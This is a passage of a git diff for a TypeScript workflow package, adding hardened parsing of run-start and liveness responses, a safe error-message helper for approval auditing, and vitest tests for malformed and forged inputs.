+          console.error(
+            JSON.stringify({
+              type: 'goal.objective-audit-error',
+              threadId,
+              operation,
+              reason: hostErrorText(error, true),
+            }),
+          );
+        } catch {
+          // Diagnostics cannot change the request's selected outcome.
+        }
       }
     };
 
@@ -491,8 +467,6 @@ export function createObjectiveRouter(
         'thread',
       );
 
-      // 3. Coarse role on mutations: authoring a standing instruction is an
-      // operator/admin act.
       if (isMutation && !roles.includes(context.actor.role)) {
         await audit('rejected', 'forbidden-role');
         return json({ error: 'forbidden' }, 403);
@@ -522,7 +496,7 @@ export function createObjectiveRouter(
       }
       if (operation === 'clear') {
         await clearObjective(store, threadId);
-        await auditCommittedMutation();
+        await audit('accepted');
         return json({ ok: true });
       }
 
@@ -573,7 +547,7 @@ export function createObjectiveRouter(
         }
         await options.validateThreadTarget(context, { threadId });
         await writeObjective(store, threadId, built.value);
-        await auditCommittedMutation();
+        await audit('accepted');
         return json({ objective: built.value });
       }
 
@@ -591,7 +565,7 @@ export function createObjectiveRouter(
       }
       await options.validateThreadTarget(context, { threadId });
       await writeObjective(store, threadId, built.value);
-      await auditCommittedMutation();
+      await audit('accepted');
       return json({ objective: built.value });
     } catch (error) {
       // A fence that could not be READ is not evidence the deployment is open,
diff --git a/packages/flowsafe/src/host-kit/approval-bridge.test.ts b/packages/flowsafe/src/host-kit/approval-bridge.test.ts
index 117d347f..1b60d5c2 100644
--- a/packages/flowsafe/src/host-kit/approval-bridge.test.ts
+++ b/packages/flowsafe/src/host-kit/approval-bridge.test.ts
@@ -1,11 +1,4 @@
 // SPDX-License-Identifier: Apache-2.0
-// Unit coverage for the host-kit approval bridge: the payload-shape edge cases
-// of requestedConnectors, the (suspendedAt, resumeCount) capture in
-// queueApprovalForSuspension, the multi-gate re-queue + fail-closed guard in
-// resumeRunWithRequeue (plus its audit signal on a re-queue failure), and the
-// self-healing reconcileApprovalsForSummary. These are the
-// pieces the showcase Worker and dev backend both depend on, so they get
-// direct tests independent of any workflow.
 
 import { describe, expect, it } from 'vitest';
 
@@ -45,6 +38,34 @@ const REVIEWER: ApprovalActor = {
   role: 'reviewer',
 };
 
+const filingFailures = [
+  {
+    name: 'ordinary Error',
+    create: () => new Error('store unavailable'),
+    diagnostic: 'store unavailable',
+  },
+  {
+    name: 'throwing message getter',
+    create: () =>
+      Object.defineProperty(new Error(), 'message', {
+        get() {
+          throw new Error('message getter failed');
+        },
+      }),
+    diagnostic: 'unreadable error',
+  },
+  {
+    name: 'BigInt message',
+    create: () => Object.defineProperty(new Error(), 'message', { value: 1n }),
+    diagnostic: '1',
+  },
+  {
+    name: 'null-prototype rejection',
+    create: () => Object.create(null),
+    diagnostic: 'unreadable error',
+  },
+];
+
 describe('abandonApprovalsForRun', () => {
   it('closes open approvals as stable system bookkeeping and a later decision cannot resume', async () => {
     const store = new InMemoryApprovalStore();
@@ -423,6 +444,34 @@ function suspendedSummary(
 }
 
 describe('queueApprovalForSuspension', () => {
+  it.each(
+    filingFailures,
+  )('files sibling gates after a failure with $name', async ({
+    create,
+    diagnostic,
+  }) => {
+    const store = new InMemoryApprovalStore();
+    const originalCreate = store.create.bind(store);
+    store.create = async (record) => {
+      if (record.stepPath?.[0] === 'gateA') throw create();
+      return originalCreate(record);
+    };
+    const service = new ApprovalService({ store, executionFence: 'none' });
+    const summary: RunSummary = {
+      runId: 'acme_run-partial',
+      status: 'suspended',
+      suspended: [['gateA'], ['gateB']],
+      suspendedAt: { gateA: 111, gateB: 222 },
+    };
+
+    await expect(
+      queueApprovalForSuspension(service, 'wf', summary, 'starter', SYSTEM),
+    ).rejects.toThrow(`gateA: ${diagnostic}`);
+
+    const open = await store.list({ status: 'pending' });
+    expect(open.map(({ stepPath }) => stepPath)).toEqual([['gateB']]);
+  });
+
   it('persists tool-call scope when an agent payload also carries connectors', async () => {
     const store = new InMemoryApprovalStore();
     const service = new ApprovalService({ store, executionFence: 'none' });
@@ -588,6 +637,55 @@ describe('queueApprovalForSuspension', () => {
 });
 
 describe('resumeRunWithRequeue', () => {
+  it.each(
+    filingFailures,
+  )('audits a service lookup failure with $name and preserves the original rejection', async ({
+    create,
+    diagnostic,
+  }) => {
+    const store = new InMemoryApprovalStore();
+    const service = new ApprovalService({ store, executionFence: 'none' });
+    const { record } = await service.createAsPrincipal(
+      {
+        workflowId: 'wf',
+        runId: 'acme_run-lookup',
+        title: 'approval',
+        requestedBy: 'starter',
+        requestedByKind: 'human',
+      },
+      SYSTEM_PRINCIPAL,
+    );
+    const decided = await service.decide(
+      record.id,
+      { decision: 'approve' },
+      REVIEWER,
+    );
+    const original = create();
+    const events: ApprovalAuditEvent[] = [];
+    const base: ResumeRunFn = async () =>
+      suspendedSummary(record.runId, 'gate2', ['c'], 9);
+    const wrapped = resumeRunWithRequeue(
+      base,
+      () => {
+        throw original;
+      },
+      SYSTEM,
+      (event) => {
+        events.push(event);
+      },
+    );
+
+    await expect(wrapped(decided.record, 'approve')).rejects.toBe(original);
+    expect(events).toEqual([
+      expect.objectContaining({
+        action: 'approval.requeue',
+        decision: 'error',
+        reason: diagnostic,
+        resource: `approval:${record.id}`,
+      }),
+    ]);
+  });
+
   it('re-queues the next gate attributed to the decider (SoD across gates)', async () => {
     // #given — a service whose base resume re-suspends the run at a 2nd gate
     const store = new InMemoryApprovalStore();
diff --git a/packages/flowsafe/src/host-kit/approval-bridge.ts b/packages/flowsafe/src/host-kit/approval-bridge.ts
index 6b73e7b7..15943cfd 100644
--- a/packages/flowsafe/src/host-kit/approval-bridge.ts
+++ b/packages/flowsafe/src/host-kit/approval-bridge.ts
@@ -1,9 +1,4 @@
 // SPDX-License-Identifier: Apache-2.0
-// Host-agnostic approval bridge: the glue that turns a workflow suspension into
-// an approval request and re-queues the next gate on a multi-gate run. Promoted
-// out of gtm-app/worker.ts so every host (the showcase Worker, the dev backend)
-// shares one implementation instead of re-deriving the (suspendedAt, resumeCount)
-// capture and the SoD-across-gates re-queue.
 
 import { agentGateGrantRequest } from '../agent-runner/approval-shapes.js';
 import {
@@ -25,6 +20,14 @@ import {
 } from '../approval-api/index.js';
 import type { RunSummary } from '../do-runner/index.js';
 
+function errorMessage(error: unknown): string {
+  try {
+    return String(error instanceof Error ? error.message : error);
+  } catch {
+    return 'unreadable error';
+  }
+}
+
 /**
  * Resumes a run after a decision. The showcase Worker fetches the run's DO stub;
  * an in-process host uses resumeViaRuntime(runtime). Either way it returns the
@@ -192,7 +195,7 @@ export async function queueApprovalForSuspension(
       // decision's re-queue re-files any gate still missing.
       failures.push({
         stepKey,
-        message: error instanceof Error ? error.message : String(error),
+        message: errorMessage(error),
       });
     }
   }
@@ -279,7 +282,7 @@ export function resumeRunWithRequeue(
             action: 'approval.requeue',
             resource: `approval:${record.id}`,
             decision: 'error',
-            reason: error instanceof Error ? error.message : String(error),
+            reason: errorMessage(error),
             detail: {
               workflowId: record.workflowId,
               runId: record.runId,
diff --git a/packages/flowsafe/src/host-kit/do-response.ts b/packages/flowsafe/src/host-kit/do-response.ts
index 64a28989..659aba4f 100644
--- a/packages/flowsafe/src/host-kit/do-response.ts
+++ b/packages/flowsafe/src/host-kit/do-response.ts
@@ -6,7 +6,17 @@
 // 404/409/400, so a non-ok answer must carry that status through the run
 // router's error mapping rather than collapse into a generic 500.
 
+import {
+  isExecutionPrincipalId,
+  isExecutionPrincipalKind,
+} from '../approval-api/principal.js';
+import {
+  normalizeStartExecutionIdentity,
+  type StartExecutionIdentity,
+} from '../do-runner/execution-admission.js';
 import type { RunSummary } from '../do-runner/index.js';
+import { isRunStatus } from '../do-runner/run-terminal-state.js';
+import type { PersistedStartResult } from '../do-runner/start-idempotency.js';
 import { RunRouteError } from './run-route-error.js';
 
 /** The subset of a DO fetch Response this reader touches. */
@@ -16,6 +26,27 @@ export interface DoResponseLike {
   json(): Promise<unknown>;
 }
 
+/** @internal */
+export async function doStartLiveness(
+  response: DoResponseLike,
+): Promise<boolean> {
+  try {
+    if (response.status !== 200) throw new Error('unexpected status');
+    const payload = await response.json();
+    if (
+      payload === null ||
+      typeof payload !== 'object' ||
+      Array.isArray(payload)
+    )
+      throw new Error('invalid liveness');
+    const live = Object.getOwnPropertyDescriptor(payload, 'live')?.value;
+    if (typeof live !== 'boolean') throw new Error('invalid liveness');
+    return live;
+  } catch {
+    throw new RunRouteError(503, 'run start liveness is not readable');
+  }
+}
+
 /**
  * Parse a DO response as a RunSummary, translating a non-ok answer into a
  * RunRouteError carrying the DO's own status and message.
@@ -37,3 +68,202 @@ export async function doSummary(response: DoResponseLike): Promise<RunSummary> {
   }
   return payload as RunSummary;
 }
+
+const EXECUTION_AUTHORITY_FIELDS = new Set([
+  'execution',
+  'startIdentity',
+  'startReservation',
+  'startToken',
+  'attemptToken',
+  'runOwnerGuard',
+  'onPreparedStartIdentity',
+  'mutationEpoch',
+  'agentStart',
+  'tablePrefix',
+  'initialAdmission',
+  'resumeCounts',
+  'requestContext',
+  'snapshot',
+  'provenance',
+  'raw',
+  'flowsafe.runProvenance',
+  'flowsafe.runLifecycle',
+]);
+
+/** @internal Strict private transport objects never invoke accessors. */
+export function persistedStartRecord(value: unknown): Record<string, unknown> {
+  if (value === null || typeof value !== 'object' || Array.isArray(value)) {
+    throw new RunRouteError(503, 'persisted start is not readable');
+  }
+  const result: Record<string, unknown> = Object.create(null);
+  for (const [key, descriptor] of Object.entries(
+    Object.getOwnPropertyDescriptors(value),
+  )) {
+    if (!('value' in descriptor)) {
+      throw new RunRouteError(503, 'persisted start is not readable');
+    }
+    result[key] = descriptor.value;
+  }
+  return result;
+}
+
+/** @internal Canonical complete identity for protected replay only. */
+export function persistedStartExecution(
+  value: unknown,
+): StartExecutionIdentity {
+  const source = persistedStartRecord(value);
+  const owner = persistedStartRecord(source.owner);
+  const target = persistedStartRecord(source.target);
+  const execution = normalizeStartExecutionIdentity({
+    ...source,
+    owner,
+    target,
+  });
+  if (execution.tablePrefix !== source.tablePrefix) {
+    throw new RunRouteError(503, 'persisted start is not readable');
+  }
+  return execution;
+}
+
+/** @internal Project only public structure; application payloads remain opaque. */
+export function publicStartFields(
+  value: unknown,
+  keys: readonly string[],
+): Record<string, unknown> {
+  const source = persistedStartRecord(value);
+  if (Object.keys(source).some((key) => EXECUTION_AUTHORITY_FIELDS.has(key))) {
+    throw new RunRouteError(503, 'persisted start is not readable');
+  }
+  return Object.fromEntries(
+    keys
+      .filter((key) => Object.hasOwn(source, key))
+      .map((key) => [key, source[key]]),
+  );
+}
+
+/** @internal The same projection is used by private producers and consumers. */
+export function publicRunSummary(value: unknown, runId: string): RunSummary {
+  const summary = publicStartFields(value, [
+    'runId',
+    'status',
+    'requestedBy',
+    'requestedByKind',
+    'result',
+    'error',
+    'errorEnvelope',
+    'deadlineAt',
+    'suspended',
+    'suspendPayload',
+    'suspendedAt',
+    'resumedAt',
+    'resumeCount',
+    'createdAt',
+    'updatedAt',
+  ]);
+  const invalid = (): never => {
+    throw new RunRouteError(503, 'persisted start is not readable');
+  };
+  if (
+    summary.runId !== runId ||
+    !isRunStatus(summary.status) ||
+    summary.status === 'pending'
+  )
+    invalid();
+  if (
+    (summary.requestedBy !== undefined ||
+      summary.requestedByKind !== undefined) &&
+    (!isExecutionPrincipalId(summary.requestedBy) ||
+      !isExecutionPrincipalKind(summary.requestedByKind))
+  )
+    invalid();
+  for (const key of ['error', 'createdAt', 'updatedAt']) {
+    if (summary[key] !== undefined && typeof summary[key] !== 'string')
+      invalid();
+  }
+  if (
+    summary.deadlineAt !== undefined &&
+    (typeof summary.deadlineAt !== 'number' ||
+      !Number.isFinite(summary.deadlineAt))
+  )
+    invalid();
+  if (
+    summary.suspended !== undefined &&
+    (!Array.isArray(summary.suspended) ||
+      summary.suspended.some(
+        (path) =>
+          !Array.isArray(path) || path.some((part) => typeof part !== 'string'),
+      ))
+  )
+    invalid();
+  for (const key of ['suspendedAt', 'resumedAt', 'resumeCount']) {
+    if (summary[key] === undefined) continue;
+    const map = persistedStartRecord(summary[key]);
+    if (
+      Object.values(map).some(
+        (item) =>
+          typeof item !== 'number' ||
+          !Number.isFinite(item) ||
+          (key === 'resumeCount' && (!Number.isSafeInteger(item) || item < 0)),
+      )
+    )
+      invalid();
+    summary[key] = { ...map };
+  }
+  if (summary.errorEnvelope !== undefined) {
+    const error = persistedStartRecord(summary.errorEnvelope);
+    if (
+      (error.code !== 'CANCELLED' && error.code !== 'TIMED_OUT') ||
+      typeof error.message !== 'string'
+    )
+      invalid();
+    summary.errorEnvelope = { code: error.code, message: error.message };
+  }
+  return summary as unknown as RunSummary;
+}
+
+export async function doPersistedStart(
+  response: DoResponseLike,
+  expected: { workflowId: string; runId: string },
+): Promise<PersistedStartResult<RunSummary>> {
+  if (!response.ok) {
+    let payload: unknown;
+    try {
+      payload = await response.json();
+    } catch {
+      /* Preserve the status-only fallback. */
+    }
+    const error =
+      payload !== null && typeof payload === 'object'
+        ? (payload as { error?: unknown; reason?: unknown })
+        : undefined;
+    throw new RunRouteError(
+      response.status,
+      typeof error?.error === 'string'
+        ? error.error
+        : `run request failed with status ${response.status}`,
+      error?.reason,
+    );
+  }
+  try {
+    const payload = persistedStartRecord(await response.json());
+    const execution = persistedStartExecution(payload.execution);
+    if (
+      execution.workflowId !== expected.workflowId ||
+      execution.runId !== expected.runId ||
+      execution.target.kind !== 'workflow' ||
+      execution.target.id !== expected.workflowId
+    )
+      throw new Error('selector mismatch');
+    if (payload.kind === 'initial' && !Object.hasOwn(payload, 'value'))
+      return { kind: 'initial', execution };
+    if (payload.kind !== 'result' || !Object.hasOwn(payload, 'value'))
+      throw new Error('invalid result');
+    return {
+      kind: 'result',
+      execution,
+      value: publicRunSummary(payload.value, expected.runId),
+    };
+  } catch {
+    throw new RunRouteError(503, 'persisted start is not readable');
+  }
+}
diff --git a/packages/flowsafe/src/host-kit/do-run-topology.test.ts b/packages/flowsafe/src/host-kit/do-run-topology.test.ts
index 5388fe99..16337adb 100644
--- a/packages/flowsafe/src/host-kit/do-run-topology.test.ts
+++ b/packages/flowsafe/src/host-kit/do-run-topology.test.ts
@@ -1,13 +1,23 @@
 // SPDX-License-Identifier: Apache-2.0
 import { describe, expect, it, vi } from 'vitest';
 
-import { EXECUTION_PRINCIPAL_HEADER } from '../do-runner/index.js';
+import { openSqlite, sqliteUnitDatabase } from '../../test-support/sqlite.js';
+import {
+  beginIdempotentStart,
+  EXECUTION_PRINCIPAL_HEADER,
+  InvalidMutationEpochError,
+  MUTATION_EPOCH_HEADER,
+  MutationEpochMismatchError,
+  type StartIdempotencyDatabase,
+  StartIdempotencyStore,
+} from '../do-runner/index.js';
 import {
   createDoRunTopology,
   type DoRunLifecycleTopology,
   type DoRunTopology,
   type RunnerNamespaceLike,
 } from './do-run-topology.js';
+import { RunRouteError } from './run-route-error.js';
 
 const DEPLOYMENT_IDENTITY_SECRET = 'test-deployment-identity-secret-0001';
 
@@ -43,6 +53,103 @@ function harness() {
   };
 }
 
+describe('C workflow epoch transport', () => {
+  it.each([
+    undefined,
+    0,
+    Number.MAX_SAFE_INTEGER,
+  ])('C workflow wire carries only canonical epoch headers (%s)', async (mutationEpoch) => {
+    const { topology, requests } = harness();
+    await topology.start({
+      workflowId: 'workflow-1',
+      runId: 'run-1',
+      inputData: { user: true },
+      principal: { kind: 'human', id: 'actor-1', role: 'admin' },
+      mutationEpoch,
+    });
+    expect(
+      new Headers(requests[0]?.init?.headers).get(MUTATION_EPOCH_HEADER),
+    ).toBe(mutationEpoch === undefined ? null : String(mutationEpoch));
+    const body = JSON.parse(requests[0]?.init?.body ?? '');
+    expect(body).toEqual({
+      workflowId: 'workflow-1',
+      runId: 'run-1',
+      inputData: { user: true },
+    });
+    for (const field of [
+      'mutationEpoch',
+      'startIdentity',
+      'agentStart',
+      'execution',
+      'tablePrefix',
+      'startToken',
+      'attemptToken',
+      'runOwnerGuard',
+      'onPreparedStartIdentity',
+    ])
+      expect(Object.hasOwn(body, field)).toBe(false);
+  });
+
+  it.each([
+    null,
+    '2',
+    true,
+    -1,
+    0.5,
+    NaN,
+    Infinity,
+    Number.MAX_SAFE_INTEGER + 1,
+  ])('C invalid workflow epoch refuses before namespace lookup (%s)', async (mutationEpoch) => {
+    const { topology, namespace, requests } = harness();
+    const get = vi.spyOn(namespace, 'get');
+    await expect(
+      topology.start({
+        workflowId: 'workflow-1',
+        runId: 'run-1',
+        inputData: {},
+        principal: { kind: 'human', id: 'a', role: 'admin' },
+        mutationEpoch: mutationEpoch as number,
+      }),
+    ).rejects.toBeInstanceOf(InvalidMutationEpochError);
+    expect(namespace.idFromName).not.toHaveBeenCalled();
+    expect(get).not.toHaveBeenCalled();
+    expect(requests).toEqual([]);
+  });
+
+  it.each([
+    'missing',
+    'stale',
+    'future',
+  ] as const)('C workflow transport preserves complete downstream epoch refusal (%s)', async (classification) => {
+    const error = new MutationEpochMismatchError(classification, 2);
+    const topology = createDoRunTopology(
+      {
+        idFromName: (name: string) => name,
+        get: () => ({
+          fetch: async () =>
+            Response.json(
+              { error: error.message, reason: error.reason },
+              { status: 409 },
+            ),
+        }),
+      },
+      DEPLOYMENT_IDENTITY_SECRET,
+    );
+    await expect(
+      topology.start({
+        workflowId: 'workflow-1',
+        runId: 'run-1',
+        inputData: {},
+        principal: { kind: 'human', id: 'a', role: 'admin' },
+      }),
+    ).rejects.toMatchObject({
+      status: 409,
+      message: error.message,
+      reason: error.reason,
+    });
+  });
+});
+
 describe('createDoRunTopology', () => {
   it('keeps the legacy topology structurally compatible while returning lifecycle methods', () => {
     const summary = { runId: 'run-1', status: 'running' as const };
@@ -50,6 +157,7 @@ describe('createDoRunTopology', () => {
       start: async () => summary,
       status: async () => summary,
       dispatchStatus: async () => summary,
+      persistedStart: async () => undefined,
       startLiveness: async () => false,
       resume: async () => summary,
       resumeRecord: async () => summary,
@@ -69,6 +177,7 @@ describe('createDoRunTopology', () => {
       runId: 'run-1',
       inputData: { value: 'ordinary-input' },
       initialState: { checkpoint: true },
+      requestContext: { 'app.attribution': 'ordinary', nested: { value: 1 } },
       principal: {
         kind: 'agent',
         id: 'agent-1',
@@ -89,6 +198,7 @@ describe('createDoRunTopology', () => {
       runId: 'run-1',
       inputData: { value: 'ordinary-input' },
       initialState: { checkpoint: true },
+      requestContext: { 'app.attribution': 'ordinary', nested: { value: 1 } },
     });
   });
 
@@ -100,6 +210,7 @@ describe('createDoRunTopology', () => {
       runId: 'run-1',
       inputData: { forged: true },
       initialState: { forged: true },
+      requestContext: { 'app.attribution': 'forged' },
       principal: {
         kind: 'service',
         id: 'scheduler',
@@ -107,6 +218,7 @@ describe('createDoRunTopology', () => {
       },
       scheduleId: 'schedule-1',
       dispatchId: 'dispatch-1',
+      deadlineMs: 60_000,
     });
 
     expect(JSON.parse(requests[0]?.init?.body ?? '')).toEqual({
@@ -114,6 +226,7 @@ describe('createDoRunTopology', () => {
       runId: 'run-1',
       scheduleId: 'schedule-1',
       dispatchId: 'dispatch-1',
+      deadlineMs: 60_000,
     });
   });
 
@@ -134,3 +247,369 @@ describe('createDoRunTopology', () => {
     expect(namespace.idFromName).not.toHaveBeenCalled();
   });
 });
+
+describe('FS8 D3 workflow reclaim liveness transport', () => {
+  async function retry(
+    liveness: () => Promise<Response>,
+    state: 'reserved' | 'started' = 'reserved',
+  ) {
+    const sqlite = openSqlite();
+    const store = new StartIdempotencyStore(
+      sqliteUnitDatabase(sqlite) as StartIdempotencyDatabase,
+      { now: () => 1_000 },
+    );
+    const request = {
+      key: 'retained-key',
+      owner: { kind: 'human' as const, id: 'operator-1' },
+      targetKind: 'workflow' as const,
+      targetId: 'workflow-1',
+      mintRunId: () => 'retained-run',
+    };
+    const { reservation } = await store.reserve(request);
+    if (state === 'started') await store.claimReservation(reservation);
+    const before = sqlite
+      .prepare('SELECT * FROM flowsafe_start_idempotency')
+      .all();
+    const claim = vi.spyOn(store, 'claimReservation');
+    const fetch = vi.fn(async (url: string) => {
+      if (url.endsWith('/start-liveness')) return liveness();
+      return Response.json({ error: 'run not found' }, { status: 404 });
+    });
+    const topology = createDoRunTopology(
+      { idFromName: (name: string) => name, get: () => ({ fetch }) },
+      DEPLOYMENT_IDENTITY_SECRET,
+    );
+    const outcome = await beginIdempotentStart(store, request, {
+      persisted: (row) => topology.persistedStart(row.targetId, row.runId),
+      live: (row) => topology.startLiveness(row.targetId, row.runId),
+    }).catch((error: unknown) => error);
+    const after = sqlite
+      .prepare('SELECT * FROM flowsafe_start_idempotency')
+      .all();
+    return { claim, before, after, outcome, fetch };
+  }
+
+  it.each([
+    true,
+    false,
+  ])('uses an explicit boolean %s from the addressed run', async (live) => {
+    const h = await retry(async () => Response.json({ live }));
+    expect(h.fetch).toHaveBeenCalledWith(
+      'http://do/runs/workflow-1/retained-run/start-liveness',
+      expect.objectContaining({ headers: expect.any(Object) }),
+    );
+    if (live) {
+      expect(h.outcome).toMatchObject({
+        reason: { code: 'IDEMPOTENT_START_PENDING' },
+      });
+      expect(h.claim).not.toHaveBeenCalled();
+      expect(h.after).toEqual(h.before);
+    } else {
+      expect(h.outcome).toMatchObject({
+        kind: 'start',
+        reservation: { runId: 'retained-run' },
+      });
+      expect(h.claim).toHaveBeenCalledOnce();
+      expect(h.after[0]).toMatchObject({ state: 'started', updated_at: 1_001 });
+    }
+  });
+
+  const malformed: Array<[string, unknown]> = [
+    ['missing', {}],
+    ['null', null],
+    ['primitive', false],
+    ['array', Object.assign([], { live: false })],
+    ['inherited', Object.create({ live: false })],
+    ['undefined', { live: undefined }],
+    ['null field', { live: null }],
+    ['zero', { live: 0 }],
+    ['empty string', { live: '' }],
+    ['false string', { live: 'false' }],
+    ['true string', { live: 'true' }],
+  ];
+  it.each(
+    malformed.flatMap(([name, payload]) =>
+      (['reserved', 'started'] as const).map((state) => ({
+        name,
+        payload,
+        state,
+      })),
+    ),
+  )('refuses $name liveness for a $state row without claiming', async ({
+    payload,
+    state,
+  }) => {
+    const h = await retry(async () => {
+      const response = Response.json({});
+      vi.spyOn(response, 'json').mockResolvedValue(payload);
+      return response;
+    }, state);
+    expect(h.outcome).toBeInstanceOf(RunRouteError);
+    expect(h.outcome).toMatchObject({
+      status: 503,
+      message: 'run start liveness is not readable',
+    });
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+  });
+
+  it.each([
+    201, 400, 404, 503,
+  ])('refuses HTTP %s liveness without claiming', async (status) => {
+    const h = await retry(async () =>
+      Response.json(
+        { live: false, error: 'private transport detail' },
+        { status },
+      ),
+    );
+    expect(h.outcome).toBeInstanceOf(RunRouteError);
+    expect(h.outcome).toMatchObject({
+      status: 503,
+      message: 'run start liveness is not readable',
+    });
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+  });
+
+  it('refuses a liveness accessor without invoking it or claiming', async () => {
+    const live = vi.fn(() => false);
+    const h = await retry(async () => {
+      const response = Response.json({});
+      vi.spyOn(response, 'json').mockResolvedValue(
+        Object.defineProperty({}, 'live', { get: live }),
+      );
+      return response;
+    });
+    expect(live).not.toHaveBeenCalled();
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+    expect(h.outcome).toBeInstanceOf(RunRouteError);
+    expect(h.outcome).toMatchObject({
+      status: 503,
+      message: 'run start liveness is not readable',
+    });
+  });
+
+  it('refuses invalid liveness JSON without claiming', async () => {
+    const h = await retry(async () => new Response('{'));
+    expect(h.outcome).toBeInstanceOf(RunRouteError);
+    expect(h.outcome).toMatchObject({
+      status: 503,
+      message: 'run start liveness is not readable',
+    });
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+  });
+
+  it('propagates a thrown liveness fetch without claiming', async () => {
+    const failure = new Error('liveness fetch failed');
+    const h = await retry(async () => {
+      throw failure;
+    });
+    expect(h.outcome).toBe(failure);
+    expect(h.claim).not.toHaveBeenCalled();
+    expect(h.after).toEqual(h.before);
+  });
+});
+
+describe('FS8 D3 protected replay workflow transport', () => {
+  const execution = {
+    tablePrefix: 'selected_',
+    workflowId: 'workflow-1',
+    runId: 'run-1',
+    startToken: 'generation-1',
+    owner: { kind: 'human', id: 'actor-1' },
+    target: { kind: 'workflow', id: 'workflow-1' },
+  };
+  const value = {
+    runId: 'run-1',
+    status: 'success',
+    result: { startToken: 'application-value' },
+  };
+  function topologyFor(payload: unknown, status = 200) {
+    const fetch = vi.fn(async () => Response.json(payload, { status }));
+    return {
+      fetch,
+      topology: createDoRunTopology(
+        { idFromName: (name: string) => name, get: () => ({ fetch }) },
+        DEPLOYMENT_IDENTITY_SECRET,
+      ),
+    };
+  }
+
+  it('uses the private authenticated scalar replay route and keeps initial distinct', async () => {
+    const { topology, fetch } = topologyFor({ kind: 'initial', execution });
+    await expect(
+      topology.persistedStart('workflow-1', 'run-1'),
+    ).resolves.toEqual({ kind: 'initial', execution });
+    expect(fetch).toHaveBeenCalledWith(
+      'http://do/runs/workflow-1/run-1?replay=1',
+      expect.objectContaining({ headers: expect.any(Object) }),
+    );
+  });
+
+  it('projects a nonpending result while preserving application payload', async () => {
+    const { topology } = topologyFor({
+      kind: 'result',
+      execution,
+      value: { ...value, unknownExtra: 'omit' },
+      raw: 'private wrapper extra',
+    });
+    await expect(
+      topology.persistedStart('workflow-1', 'run-1'),
+    ).resolves.toEqual({ kind: 'result', execution, value });
+  });
+
+  it.each([
+    ['missing discriminator', { execution, value }],
+    ['initial with value', { kind: 'initial', execution, value }],
+    ['missing result value', { kind: 'result', execution }],
+    [
+      'pending result',
+      { kind: 'result', execution, value: { ...value, status: 'pending' } },
+    ],
+    [
+      'foreign physical workflow',
+      {
+        kind: 'result',
+        execution: { ...execution, workflowId: 'other' },
+        value,
+      },
+    ],
+    [
+      'foreign logical target',
+      {
+        kind: 'result',
+        execution: { ...execution, target: { kind: 'workflow', id: 'other' } },
+        value,
+      },
+    ],
+    [
+      'foreign physical run',
+      { kind: 'result', execution: { ...execution, runId: 'other' }, value },
+    ],
+    [
+      'noncanonical prefix',
+      {
+        kind: 'result',
+        execution: { ...execution, tablePrefix: 'SELECTED_' },
+        value,
+      },
+    ],
+    [
+      'partial generation',
+      {
+        kind: 'result',
+        execution: { ...execution, startToken: undefined },
+        value,
+      },
+    ],
+    [
+      'invalid null prefix arm',
+      {
+        kind: 'result',
+        execution: { ...execution, tablePrefix: undefined },
+        value,
+      },
+    ],
+    [
+      'foreign result run',
+      { kind: 'result', execution, value: { ...value, runId: 'other' } },
+    ],
+    [
+      'unpaired requester',
+      {
+        kind: 'result',
+        execution,
+        value: { ...value, requestedBy: 'actor-1' },
+      },
+    ],
+    [
+      'invalid timing map',
+      {
+        kind: 'result',
+        execution,
+        value: { ...value, resumeCount: { gate: -1 } },
+      },
+    ],
+    [
+      'structural authority',
+      {
+        kind: 'result',
+        execution,
+        value: { ...value, startReservation: { token: 'private' } },
+      },
+    ],
+  ])('refuses malformed successful private data: %s', async (_name, payload) => {
+    const { topology, fetch } = topologyFor(payload);
+    const outcome = await topology
+      .persistedStart('workflow-1', 'run-1')
+      .catch((error: unknown) => error);
+    expect(fetch).toHaveBeenCalledOnce();
+    expect(outcome).toMatchObject({
+      status: 503,
+      message: 'persisted start is not readable',
+    });
+    expect((outcome as Error).message).not.toContain(execution.startToken);
+  });
+
+  it('treats only an actual 404 as absence and preserves non-OK reason', async () => {
+    await expect(
+      topologyFor({ error: 'missing' }, 404).topology.persistedStart(
+        'workflow-1',
+        'run-1',
+      ),
+    ).resolves.toBeUndefined();
+    await expect(
+      topologyFor(
+        { error: 'held', reason: { code: 'RUN_START_PENDING' } },
+        503,
+      ).topology.persistedStart('workflow-1', 'run-1'),
+    ).rejects.toMatchObject({
+      status: 503,
+      message: 'held',
+      reason: { code: 'RUN_START_PENDING' },
+    });
+    const badJson = createDoRunTopology(
+      {
+        idFromName: (name: string) => name,
+        get: () => ({
+          fetch: async () => new Response('bad-json', { status: 409 }),
+        }),
+      },
+      DEPLOYMENT_IDENTITY_SECRET,
+    );
+    await expect(
+      badJson.persistedStart('workflow-1', 'run-1'),
+    ).rejects.toMatchObject({
+      status: 409,
+      message: 'run request failed with status 409',
+    });
+  });
+
+  it('captures and sends the original winning claim before fetch waits', async () => {
+    const { topology, requests } = harness();
+    const claim = {
+      key: 'key-1',
+      state: 'started' as const,
+      binding: { kind: 'unbound' as const },
+      owner: { kind: 'human' as const, id: 'actor-1' },
+      targetKind: 'workflow' as const,
+      targetId: 'workflow-1',
+      runId: 'run-1',
+      createdAt: 7,
+      updatedAt: 8,
+    };
+    await topology.start({
+      workflowId: 'workflow-1',
+      runId: 'run-1',
+      inputData: {},
+      principal: { kind: 'human', id: 'actor-1', role: 'operator' },
+      idempotencyKey: 'key-1',
+      startReservation: claim,
+    });
+    expect(JSON.parse(requests[0]?.init?.body ?? '').startReservation).toEqual(
+      claim,
+    );
+  });
+});
diff --git a/packages/flowsafe/src/host-kit/do-run-topology.ts b/packages/flowsafe/src/host-kit/do-run-topology.ts
index 8f727bfc..bf8bf91b 100644
--- a/packages/flowsafe/src/host-kit/do-run-topology.ts
+++ b/packages/flowsafe/src/host-kit/do-run-topology.ts
@@ -19,10 +19,19 @@ import {
 import {
   deploymentIdentityHeaders,
   EXECUTION_PRINCIPAL_HEADER,
+  InvalidRunRequestError,
   type RunLifecycleCas,
   type RunSummary,
+  stampMutationEpoch,
 } from '../do-runner/index.js';
-import { type DoResponseLike, doSummary } from './do-response.js';
+import type { PersistedStartResult } from '../do-runner/start-idempotency.js';
+import { captureReservation } from '../do-runner/start-reservation-contract.js';
+import {
+  type DoResponseLike,
+  doPersistedStart,
+  doStartLiveness,
+  doSummary,
+} from './do-response.js';
 import type { RunStartInput } from './run-router.js';
 
